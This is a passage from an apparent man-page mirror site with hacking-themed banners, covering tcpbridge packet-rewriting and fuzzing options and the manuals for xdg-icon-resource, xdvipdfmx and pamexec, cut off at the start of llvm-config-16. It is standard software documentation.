    --pnat=[2001:db8::/32]:[dead::/16],[2001:db8::/32]:[::ffff:0:0/96]

Rewrite source IPv4/v6 addresses using pseudo-NAT. This option may appear up to 1 times. This option must not appear in combination with any of the following options: pnat.

Works just like the –pnat option, but only affects the source IP addresses in the IPv4/v6 header.

Rewrite destination IPv4/v6 addresses using pseudo-NAT. This option may appear up to 1 times. This option must not appear in combination with any of the following options: pnat.

Works just like the –pnat option, but only affects the destination IP addresses in the IPv4/v6 header.

Rewrite IP addresses to be between two endpoints. This option may appear up to 1 times. This option must appear in combination with the following options: cachefile.

Takes a pair of colon delimited IPv4/v6 addresses which will be used to rewrite all traffic to appear to be between the two IP addresses.

IPv4 Example:

    --endpoints=172.16.0.1:172.16.0.2

IPv6 Example:

    --endpoints=[2001:db8::dead:beef]:[::ffff:0:0:ac:f:0:2]

Change TCP Sequence (and ACK) numbers /w given seed. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

0

Change all TCP sequence numbers, and related sequence-acknowledgement numbers. They will be shifted by a random amount based on the provided seed.

Skip rewriting broadcast/multicast IPv4/v6 addresses.

By default –seed, –pnat and –endpoints will rewrite broadcast and multicast IPv4/v6 and MAC addresses. Setting this flag will keep broadcast/multicast IPv4/v6 and MAC addresses from being rewritten.

Force recalculation of IPv4/TCP/UDP header checksums.

Causes each IPv4/v6 packet to have their checksums recalculated and fixed. Automatically enabled for packets modified with –seed, –pnat, –endpoints or –fixlen.

Alter IP/TCP header len to match packet length.

By default, tcpreplay will send packets with the original packet length, However, you may want the packet length revised to minimum packet size. Using this option, tcpreplay will rewrite (fix) the packet length, and recalculate checksums when packet length changes. Caution: undesired packet changes may occur when this option is specified.

Override default MTU length (1500 bytes). This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  1 through MAX_SNAPLEN

Override the default 1500 byte MTU size for determining the maximum padding length (–fixlen=pad) or when truncating (–mtu-trunc).

Truncate packets larger then specified MTU. This option may appear up to 1 times.

Similar to –fixlen, this option will truncate data in packets from Layer 3 and above to be no larger then the MTU.

Remove Ethernet checksums (FCS) from end of frames.

Note, this option is pretty dangerous! We do not actually check to see if a FCS actually exists in the frame, we just blindly delete the last 4 bytes. Hence, you should only use this if you know know that your OS provides the FCS when reading raw packets.

Modify the IPv4/v6 TTL/Hop Limit.

Allows you to modify the TTL/Hop Limit of all the IPv4/v6 packets. Specify a number to hard-code the value or +/-value to increase or decrease by the value provided (limited to 1-255).

Examples:

    --ttl=10
    --ttl=+7
    --ttl=-64

Set the IPv4 TOS/DiffServ/ECN byte. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 255

Allows you to override the TOS (also known as DiffServ/ECN) value in IPv4.

Set the IPv6 Traffic Class byte. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 255

Allows you to override the IPv6 Traffic Class field.

Set the IPv6 Flow Label. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 1048575

Allows you to override the 20bit IPv6 Flow Label field. Has no effect on IPv4 packets.

Pad or truncate packet data to match header length. This option may appear up to 1 times.

Packets may be truncated during capture if the snaplen is smaller then the packet. This option allows you to modify the packet to pad the packet back out to the size stored in the IPv4/v6 header or rewrite the IP header total length to reflect the stored packet length.

pad Truncated packets will be padded out so that the packet length matches the IPv4 total length

trunc Truncated packets will have their IPv4 total length field rewritten to match the actual packet length

del Delete the packet

Fuzz 1 in X packets. Edit bytes, length, or emulate packet drop. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

0

This fuzzing was designed as to test layer 7 protocols such as voip protocols. It modifies randomly 1 out of X packets (where X = –fuzz-factor) in order for stateful protocols to cover more of their code. The random fuzzing actions focus on data start and end because it often is the part of the data application protocols base their decisions on.

Possible fuzzing actions list: * drop packet * reduce packet size * edit packet Bytes: * Not all Bytes have the same probability of appearance in real life. Replace with 0x00, 0xFF, or a random byte with equal likelihood. * Not all Bytes have the same significance in a packet. Replace the start, the end, or the middle of the packet with equal likelihood. * do nothing (7 out of 8 packets)

Set the Fuzz 1 in X packet ratio (default 1 in 8 packets). This option must appear in combination with the following options: fuzz-seed. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

8

Sets the ratio of for –fuzz-seed option. By default this value is 8, which means 1 in 8 packets are modified by fuzzing. Note that this ratio is based on the random number generated by the supplied fuzz seed. Therefore by default you cannot expect that exactly every eighth packet will be modified.

Skip rewriting broadcast/multicast Layer 2 addresses.

By default, editing Layer 2 addresses will rewrite broadcast and multicast MAC addresses. Setting this flag will keep broadcast/multicast MAC addresses from being rewritten.

Override output DLT encapsulation. This option may appear up to 1 times.

By default, no DLT (data link type) conversion will be made. To change the DLT type of the output pcap, select one of the following values:

enet Ethernet aka DLT_EN10MB

hdlc Cisco HDLC aka DLT_C_HDLC

jnpr_eth Juniper Ethernet DLT_C_JNPR_ETHER

pppserial PPP Serial aka DLT_PPP_SERIAL

user User specified Layer 2 header and DLT type

Override destination ethernet MAC addresses. This option may appear up to 1 times.

Takes a pair of comma deliminated ethernet MAC addresses which will replace the destination MAC address of outbound packets. The first MAC address will be used for the server to client traffic and the optional second MAC address will be used for the client to server traffic.

Example:

    --enet-dmac=00:12:13:14:15:16,00:22:33:44:55:66

Override source ethernet MAC addresses. This option may appear up to 1 times.

Takes a pair of comma deliminated ethernet MAC addresses which will replace the source MAC address of outbound packets. The first MAC address will be used for the server to client traffic and the optional second MAC address will be used for the client to server traffic.

Example:

    --enet-smac=00:12:13:14:15:16,00:22:33:44:55:66

Substitute MAC addresses. This option may appear up to 9999 times.

Allows you to rewrite ethernet MAC addresses of packets. It takes comma delimited pair or MACs address and rewrites all occurrences of the first MAC with the value of the second MAC. Example:

    --enet-subsmac=00:12:13:14:15:16,00:22:33:44:55:66

Randomize MAC addresses. This option may appear up to 1 times. This option must not appear in combination with any of the following options: enet-smac, enet-dmac, enet-subsmac. This option takes an integer number as its argument.

Allows you to randomize ethernet MAC addresses of packets, mostly like what –seed option does for IPv4/IPv6 addresses.

Randomize MAC addresses. This option may appear up to 1 times. This option must appear in combination with the following options: enet-mac-seed. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  1 through 6

Keep some bytes untouched when usinging –enet-mac-seed option.

Specify ethernet 802.1q VLAN tag mode. This option may appear up to 1 times.

Allows you to rewrite ethernet frames to add a 802.1q header to standard 802.3 ethernet headers or remove the 802.1q VLAN tag information.

add Adds an 802.1q VLAN header to the existing 802.3 ethernet header. If a VLAN header already exists, a new VLAN header is added outside of the existing header.

Note that you will be allowed to run this option multiple times to create more than 2 VLAN headers, however those packets will be valid. At most you should have 2 X 802.1q VLAN tags, or outer an 802.1ad and an inner 802.1q VLAN tag.

del Rewrites the existing 802.1q VLAN header as an 802.3 ethernet header

Specify the new ethernet 802.1q VLAN tag value. This option may appear up to 1 times. This option must appear in combination with the following options: enet-vlan. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 4095

Specify the ethernet 802.1q VLAN CFI value. This option may appear up to 1 times. This option must appear in combination with the following options: enet-vlan. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 1

Specify the ethernet 802.1q VLAN priority. This option may appear up to 1 times. This option must appear in combination with the following options: enet-vlan. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 7

Specify VLAN tag protocol 802.1q or 802.1ad. This option may appear up to 1 times.

Allows you to specify the protocol of the added VLAN tags.

802.1q Specifies that 802.1q VLAN headers are to be added. This is the default.

802.1ad Specifies that 802.1ad Q-in-Q VLAN headers are to be added. To make valid packets, input packets must already have 802.1q VLAN headers.

Specify HDLC control value. This option may appear up to 1 times. This option takes an integer number as its argument.

The Cisco HDLC header has a 1 byte “control” field. Apparently this should always be 0, but if you can use any 1 byte value.

Specify HDLC address. This option may appear up to 1 times. This option takes an integer number as its argument.

The Cisco HDLC header has a 1 byte “address” field which has two valid values:

0x0F Unicast

0xBF Broadcast
You can however specify any single byte value.

Set output file DLT type. This option may appear up to 1 times. This option takes an integer number as its argument.

Set the DLT value of the output pcap file.

Rewrite Data-Link layer with user specified data. This option may appear up to 2 times.

Provide a series of comma deliminated hex values which will be used to rewrite or create the Layer 2 header of the packets. The first instance of this argument will rewrite both server and client traffic, but if this argument is specified a second time, it will be used for the client traffic.

Example:

    --user-dlink=01,02,03,04,05,06,00,1A,2B,3C,4D,5E,6F,08,00

Enable debugging output. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 5

The default number for this option is:

0

If configured with –enable-debug, then you can specify a verbosity level for debugging output. Higher numbers increase verbosity.

Primary interface (listen in uni-directional mode). This option may appear up to 1 times.

Secondary interface (send in uni-directional mode). This option may appear up to 1 times.

Send and receive in only one direction. This option may appear up to 1 times.

Normally, tcpbridge will send and receive traffic in both directions (bi-directionally). However, if you choose this option, traffic will be sent uni-directionally.

List available network interfaces and exit.

Limit the number of packets to send. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

-1

By default, tcpbridge will send packets forever or until Ctrl-C. Alternatively, you can specify a maximum number of packets to send.

MAC addresses of local NIC’s. This option may appear up to 2 times.

tcpbridge does not support detecting the MAC addresses of the local network interfaces under Windows. Please specify both MAC addresses of the interfaces used in the bridge: -M <intf1 mac> -M <intf2 mac>

Include only packets matching rule. This option may appear up to 1 times. This option must not appear in combination with any of the following options: exclude.

Override default of sending all packets stored in the capture file and only send packets which match the provided rule. Rules can be one of:

S:<CIDR1>,… - Source IP must match specified CIDR(s)

D:<CIDR1>,… - Destination IP must match specified CIDR(s)

B:<CIDR1>,… - Both source and destination IP must match specified CIDR(s)

E:<CIDR1>,… - Either IP must match specified CIDR(s)

P:<LIST> - Must be one of the listed packets where the list corresponds to the packet number in the capture file.

    --include=P:1-5,9,15,72-

would send packets 1 through 5, the 9th and 15th packet, and packets 72 until the end of the file

F:’<bpf>’ - BPF filter. See the tcpdump(8) man page for syntax.

Exclude any packet matching this rule. This option may appear up to 1 times. This option must not appear in combination with any of the following options: include.

Override default of sending all packets stored in the capture file and only send packets which do not match the provided rule. Rules can be one of:

S:<CIDR1>,… - Source IP must not match specified CIDR(s)

D:<CIDR1>,… - Destination IP must not match specified CIDR(s)

B:<CIDR1>,… - Both source and destination IP must not match specified CIDR(s)

E:<CIDR1>,… - Either IP must not match specified CIDR(s)

P:<LIST> - Must not be one of the listed packets where the list corresponds to the packet number in the capture file.

    --exclude=P:1-5,9,15,72-

would drop packets 1 through 5, the 9th and 15th packet, and packets 72 until the end of the file

Print the PID of tcpbridge at startup.

Print decoded packets via tcpdump to STDOUT. This option may appear up to 1 times.

Arguments passed to tcpdump decoder. This option may appear up to 1 times. This option must appear in combination with the following options: verbose.

When enabling verbose mode (-v) you may also specify one or more additional arguments to pass to tcpdump to modify the way packets are decoded. By default, -n and -l are used. Be sure to quote the arguments like: –verbose="-axxx" so that they are not interpreted by tcpbridge. The following arguments are valid: [ -aAeNqRStuvxX ] [ -E spi@ipaddr algo:secret,… ] [ -s snaplen ]

Print version information.

Display less usage information and exit.

suppress printing warning messages.

Display usage information and exit.

Pass the extended usage information through a pager.

Save the option state to cfgfile. The default is the last configuration file listed in the OPTION PRESETS section, below. The command will exit after updating the config file.

Load options from cfgfile. The no-load-opts form will disable the loading of earlier config/rc/ini files. –no-load-opts is handled early, out of order.

OPTION PRESETS

Any option that is not marked as not presettable may be preset by loading values from configuration (“RC” or “.INI”) file(s). The homerc file is “$$/”, unless that is a directory. In that case, the file “.tcpbridgerc” is searched for within that directory.

FILES

See OPTION PRESETS for configuration files.

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

The operation failed or the command syntax was not valid.

A specified configuration file could not be loaded.

libopts had an internal operational error. Please report it to [email protected]. Thank you.

AUTHORS

Copyright 2013-2024 Fred Klassen - AppNeta Copyright 2000-2012 Aaron Turner For support please use the [email protected] mailing list. The latest version of this software is always available from: http://tcpreplay.appneta.com/

COPYRIGHT

Copyright (C) 2000-2024 Aaron Turner and Fred Klassen all rights reserved. This program is released under the terms of the GNU General Public License, version 3 or later.

BUGS

Please send bug reports to: [email protected]

NOTES

This manual page was AutoGen-erated from the tcpbridge option definitions.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1676 - Linux cli command xdg-icon-resource

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdg-icon-resource and provides detailed information about the command xdg-icon-resource, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdg-icon-resource.

NAME 🖥️ xdg-icon-resource 🖥️

icon-resource - command line tool for (un)installing icon resources

SYNOPSIS

xdg-icon-resource install [–noupdate] [–novendor] [–theme theme] [–context context] [–mode mode] –size size icon-file [icon-name]

xdg-icon-resource uninstall [–noupdate] [–theme theme] [–context context] [–mode mode] –size size icon-name

xdg-icon-resource forceupdate [–theme theme] [–mode mode]

xdg-icon-resource {–help | –manual | –version}

DESCRIPTION

The xdg-icon-resource program can be used to install icon resources into the desktop icon system in order to illustrate menu entries, to depict desktop icons or to graphically represent file types.

The desktop icon system identifies icons by name. Depending on the required size, the choice of icon theme and the context in which the icon is used, the desktop icon system locates an appropriate icon resource to depict an icon. Icon resources can be XPM files or PNG files.

The desktop icon system works according to the XDG Icon Theme Specification at http://www.freedesktop.org/wiki/Specifications/icon-theme-spec

COMMANDS

install

Installs the icon file indicated by icon-file to the desktop icon system under the name icon-name. Icon names do not have an extension. If icon-name is not provided the name is derived from icon-file. The icon file must have .png or .xpm as extension. If a corresponding .icon file exists in the same location as icon-file it will be installed as well.

uninstall

Removes the icon indicated by icon-name from the desktop icon system. Note that icon names do not have an extension.

forceupdate

Force an update of the desktop icon system. This is only useful if the last call to xdg-icon-resource included the –noupdate option.

OPTIONS

–noupdate

Postpone updating the desktop icon system. If multiple icons are added in sequence this flag can be used to indicate that additional changes will follow and that it is not necessary to update the desktop icon system right away.

–novendor

Normally, xdg-icon-resource checks to ensure that an icon file to be installed in the apps context has a proper vendor prefix. This option can be used to disable that check.

A vendor prefix consists of alpha characters ([a-zA-Z]) and is terminated with a dash ("-"). Companies and organizations are encouraged to use a word or phrase, preferably the organizations name, for which they hold a trademark as their vendor prefix. The purpose of the vendor prefix is to prevent name conflicts.

–theme theme

Installs or removes the icon file as part of theme. If no theme is specified the icons will be installed as part of the default hicolor theme. Applications may install icons under multiple themes but should at least install icons for the default hicolor theme.

–context context

Specifies the context for the icon. Icons to be used in the application menu and as desktop icon should use apps as context which is the default context. Icons to be used as file icons should use mimetypes as context. Other common contexts are actions, devices, emblems, filesystems and stock.

–size size

Specifies the size of the icon. All icons must be square. Common sizes for icons in the apps context are: 16, 22, 32, 48, 64 and 128. Common sizes for icons in the mimetypes context are: 16, 22, 32, 48, 64 and 128

–mode mode

mode can be user or system. In user mode the file is (un)installed for the current user only. In system mode the file is (un)installed for all users on the system. Usually only root is allowed to install in system mode.

The default is to use system mode when called by root and to use user mode when called by a non-root user.

–help

Show command synopsis.

–manual

Show this manual page.

–version

Show the xdg-utils version information.

ENVIRONMENT VARIABLES

xdg-icon-resource honours the following environment variables:

XDG_UTILS_DEBUG_LEVEL

Setting this environment variable to a non-zero numerical value makes xdg-icon-resource do more verbose reporting on stderr. Setting a higher value increases the verbosity.

XDG_UTILS_INSTALL_MODE

This environment variable can be used by the user or administrator to override the installation mode. Valid values are user and system.

EXIT CODES

An exit code of 0 indicates success while a non-zero exit code indicates failure. The following failure codes can be returned:

1

Error in command line syntax.

2

One of the files passed on the command line did not exist.

3

A required tool could not be found.

4

The action failed.

5

No permission to read one of the files passed on the command line.

SEE ALSO

xdg-desktop-icon(1), xdg-desktop-menu(1), xdg-mime(1), Icon theme specification[1]

EXAMPLES

To install an icon resource to depict a launcher for the application myfoobar, the company ShinyThings Inc. can use:

xdg-icon-resource install –size 64 shinythings-myfoobar.png

To install an icon for a new application/x-foobar file type one can use:

xdg-icon-resource install –context mimetypes –size 48 ./mime-foobar-48.png application-x-foobar xdg-icon-resource install –context mimetypes –size 64 ./mime-foobar-64.png application-x-foobar

This will install two icons with the name application-x-foobar but with different sizes.

AUTHORS

Kevin Krammer

Author.

Jeremy White

Author.

COPYRIGHT

Copyright © 2006

NOTES

Icon theme specification

http://www.freedesktop.org/wiki/Specifications/icon-theme-spec/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1677 - Linux cli command xdvipdfmx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdvipdfmx and provides detailed information about the command xdvipdfmx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdvipdfmx.

NAME 🖥️ xdvipdfmx 🖥️

produce PDF files directly from DVI files

SYNOPSIS

dvipdfmx or dvipdfm [options] file [.dvi]

DESCRIPTION

The program dvipdfmx generates a PDF file from a DVI file. DVI files are the output produced by TeX. groff can also generate DVI files using grodvi(-Tdvi).

In TeX Live, dvipdfm is another incarnation of dvipdfmx rather than a separate program. Compatibility is attempted as best as possible.

xdvipdfmx is another incarnation. It is used as the back end for xetex(1) and is not intended to be invoked directly.

dvipdfmx recognizes several commonly used \special commands, which are extensions to the DVI format. Specifically, it understands color specials, papersize specials, tpic specials (which allow it to be used with pic), hypertex specials, and some PostScript specials. These extensions allow documents to contain color, figures, and hyperlinks. The program tries to mimic the behavior of dvips where possible, so that many macro packages produced for use with dvips will also work with dvipdfmx. In addition, dvipdfmx understands its own specific \special commands to allow access to PDF features such as annotations and bookmarks.

As of December 2018, one such special specific to dvipdfmx is pdf:trailerid, which specifies the /ID in the PDF trailer. It is used like this (from the TeX level):
\special{pdf:trailerid [ (0123456789abcdef) (01234567890abcdef) ]}
That is, the special takes an array (the square brackets) of two 16-byte PDF strings (the parentheses). This is the same syntax as LuaTeX’s \pdfvariable trailerid, while different from pdfTeX’s \pdftrailerid. It must appear on the first output page, otherwise it is ignored.

Unrecognized specials will generate warning messages. Packages that may need a dvipdfm or dvipdfmx driver option include geometry, hyperref, bookmark, graphicx, and xcolor.

For issues related to bounding boxes (and hence image sizes), see extractbb(1).

OPTIONS

Unlike with many other programs, argument values must be separated from option names by a space, not an = sign; option names cannot be abbreviated; and - and – cannot be used interchangeably.

- c
Ignore (or accept) color \specials. By default, color \specials are interpreted normally (changeable in the configuration file). The - c option may be used to produce a black and white document from a document containing color TeX \special commands.

– dvipdfm
Enable dvipdfm emulation mode. This is the default if the executable name is `dvipdfm'.

- d number
Specify the number of decimal digits in the PDF output; must be between 0 and 5, default is 2.

- e
Ignored, for (semi-)compatibility with dvipdfm.

- f map_file
Read the font map file given by map_file. The default map file in TeX Live is pdftex.map, as defined in the configuration file.

– help
Show a help message and exit successfully.

- i cfgfile
Read cfgfile as another include file, after reading the default dvipdfmx.cfg.

– kpathsea-debug number
Have Kpathsea output debugging information; `-1’ for everything (voluminous).

- l
Select landscape mode. In other words, exchange the x and y dimensions of the paper.

- m mag
Magnify the input document by mag.

- o filename
Set the PDF output file name; use `-’ for stdout. By default, the name of the output file is derived from the input, that is, file.pdf.

- p paper
Select the papersize by name (e.g., letter, legal, ledger, tabloid, a3, a4, or a5 )

– pdfm-str-utf8
Assume PDFMark strings in \special commands are encoded in UTF-8.

- q
Quiet mode.

- r size
Set resolution of bitmapped fonts to size dots per inch. Bitmapped fonts are generated by the Kpathsea library, which uses Metafont. Bitmapped fonts are included as Type 3 fonts in the PDF output file. Default is 600.

- s page_specifications
Select the pages of the DVI file to be processed; default is `-’, meaning all pages. The page_specifications consists of a comma separated list of page_ranges:

page_specifications := page_specification[,page_specifications]

where

page_specification := single_page|page_range
page_range := [first_page] - [last_page]

An empty first_page is treated as the first page of the DVI file, and an empty last_page is treated as the last page of the DVI file.

Examples:

- s 1,3,5
includes pages 1, 3, and 5;

- s -
includes all pages;

- s -,-
includes two copies of all pages in the DVI file; and

- s 1-10
includes the first ten pages of the DVI file.

- t
Search for thumbnail images of each page in the directory named by the TMPDIR environment variable. The thumbnail images must be named in a specific format: the same base name as the DVI file and the page number as the extension to the file name. dvipdfmx does not generate such thumbnails itself, but it is distributed with a wrapper program named dvipdft that does so.

– version
Show a help message and exit successfully.

- v
Increase verbosity. Results of the - v option are cumulative (e.g., - vv increases the verbosity by two increments). Maximum verbosity is four.

- x x_offset
Set the left margin to x_offset. The default left margin is 1.0in. The dimension may be specified in any units understood by TeX (e.g., bp, pt, in, cm).

- y y_offset
Set the top margin to y_offset. The default top margin is 1.0in. The dimension may be specified in any units understood by TeX (e.g., bpt, pt, in, cm).

- z number
Set the compression level to compression_level. Compression levels range from 0 (no compression) to 9 (maximum compression) and correspond to the values understood by zlib; default is 9.

- C number
Miscellaneous option flags; see the –help output for details.

- D template
PostScript to PDF conversion command line template; the default is taken from the configuration file, which also gives all the details and mentions several possibilities.

- E
Always try to embed fonts, ignoring licensing flags, etc.

- I number
Image cache life in hours; default is -2, meaning to not cache images at all. A value of -1 means to erase all old images and also new images; 0 means to erase all old images but leave new images.

- K number
Encryption key length; default 40.

- M
Process MetaPost PostScript output.

- O number
Set maximum depth of open bookmark items; default 0.

- P number
Set permission flags for PDF encryption; default 0x003C.

- S
Enable PDF encryption.

- V number
Set PDF minor version; default 5 (from the configuration file).

IMAGE BOUNDING BOXES

When including images with dvipdfmx, their bounding boxes should be generated by running extractbb. The result will be in an .xbb file; the xbb information is the same as for the PDF format.

ENVIRONMENT

dvipdfmx uses the kpathsea library for locating the files that it opens. Hence, the environment variables documented in the Kpathsea library documentation influence dvipdfmx. It also uses the value of the environment variable TMPDIR as the directory to search for thumbnail images of each page.

FILES

The precise location of the following files is determined by the Kpathsea library configuration. The location may be determined by using kpsewhich, e.g.,

kpsewhich -progname=dvipdfmx -format='other text files' dvipdfmx.cfg

dvipdfmx.cfg
Default configuration file

dvipdfmx-unsafe.cfg
Configuration file that runs Ghostscript without safety checks; use only for trusted source files. It is currently required to use PSTricks with XeTeX: xetex -output-driver=“xdvipdfmx -i dvipdfmx-unsafe.cfg -q -E” …

pdftex.map
The default font map file (this may be changed in the config file).

*.tfm
TeX font metrics

*.vf
TeX virtual font files

*.pfb
PostScript Type 1 font files

texmf.cnf
The Kpathsea library configuration file. The location of this file may be found by typing

kpsewhich texmf.cnf

SEE ALSO

dvipdft(1), extractbb(1),
tex(1), luatex(1), xetex(1), dvips(1),
groff(1), grodvi(1), pic(1), the Kpathsea library Info documentation (https://tug.org/kpathsea), and the Dvipdfmx User’s Manual (in the distribution, and linked from https://tug.org/dvipdfmx).

AUTHOR

Primarily Mark A. Wicks; dvipdfmx extensions primarily by Jin-Hwan Cho, Shunsaku Hirata, and Matthias Franz. For the version in TeX Live, please send bugs and other reports to the maintainers at dvipdfmx (at) tug.org (https://lists.tug.org/dvipdfmx).

This man page edited for TeX Live by Bob Tennent and others. This man page is public domain.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1678 - Linux cli command pamexec

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamexec and provides detailed information about the command pamexec, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamexec.

.

NAME 🖥️ pamexec 🖥️

Execute a shell command on each image in a Netpbm image stream

SYNOPSIS

pamexec

["command"]

[netpbmfile]

[-check]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamexec reads a Netpbm image stream as input. For each image, it runs a specified shell command and supplies the image to it as Standard Input (with a pipe).

netpbmfile is the file name of the input file, or - to indicate Standard Input. The default is Standard Input.

Many Netpbm programs understand multimage Netpbm streams themselves, so you don’t need to use pamexec to run the program on the images in the stream. Ideally, all Netpbm programs would have that capability, but multi-image streams are a relatively recent invention, so older Netpbm programs just process the first image in the stream and then stop. Even many recently written Netpbm programs work that way, since the authors aren’t aware of the multi-image possibility.

Another way to process a multi-image stream is to use pamsplit to explode it into multiple files, one image per file. You can then process those files.

To run your command on a subset of the images in the stream, use pampick to select the desired images from the input stream and pipe the result to pamexec.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamexec recognizes the following command line option:

-check
This causes pamexec to exit without processing any further images if the command has a nonzero exit status.

APPLICATIONS

To make an animated GIF movie:

    pamexec pamtogif myvideo.ppm | gifsicle --multifile >myvideo.gif

LIMITATIONS

pamexec assumes all commands consume all of Standard Input. If yours doesn’t (perhaps it just exits when it’s seen enough), you can buffer through a temporary file like this, which copies the first 3 lines of every image (the PPM header) to Standard Output:

    pamexec "cat >/tmp/x; head --lines=3 x" myvideo.ppm  

HISTORY

pamexec was new in Netpbm 10.56 (September 2011).

Michael Pot wrote it, borrowing from pamsplit.

SEE ALSO

pamfile(1) , pampick(1) , pamsplit(1) , pnm(1) , pam(1) , cat man page

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamexec.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1679 - Linux cli command llvm-config-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-config-16 and provides detailed information about the command llvm-config-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-config-16.

NAME 🖥️ llvm-config-16 🖥️

config - Print LLVM compilation options

SYNOPSIS

llvm-config option [components…]

DESCRIPTION

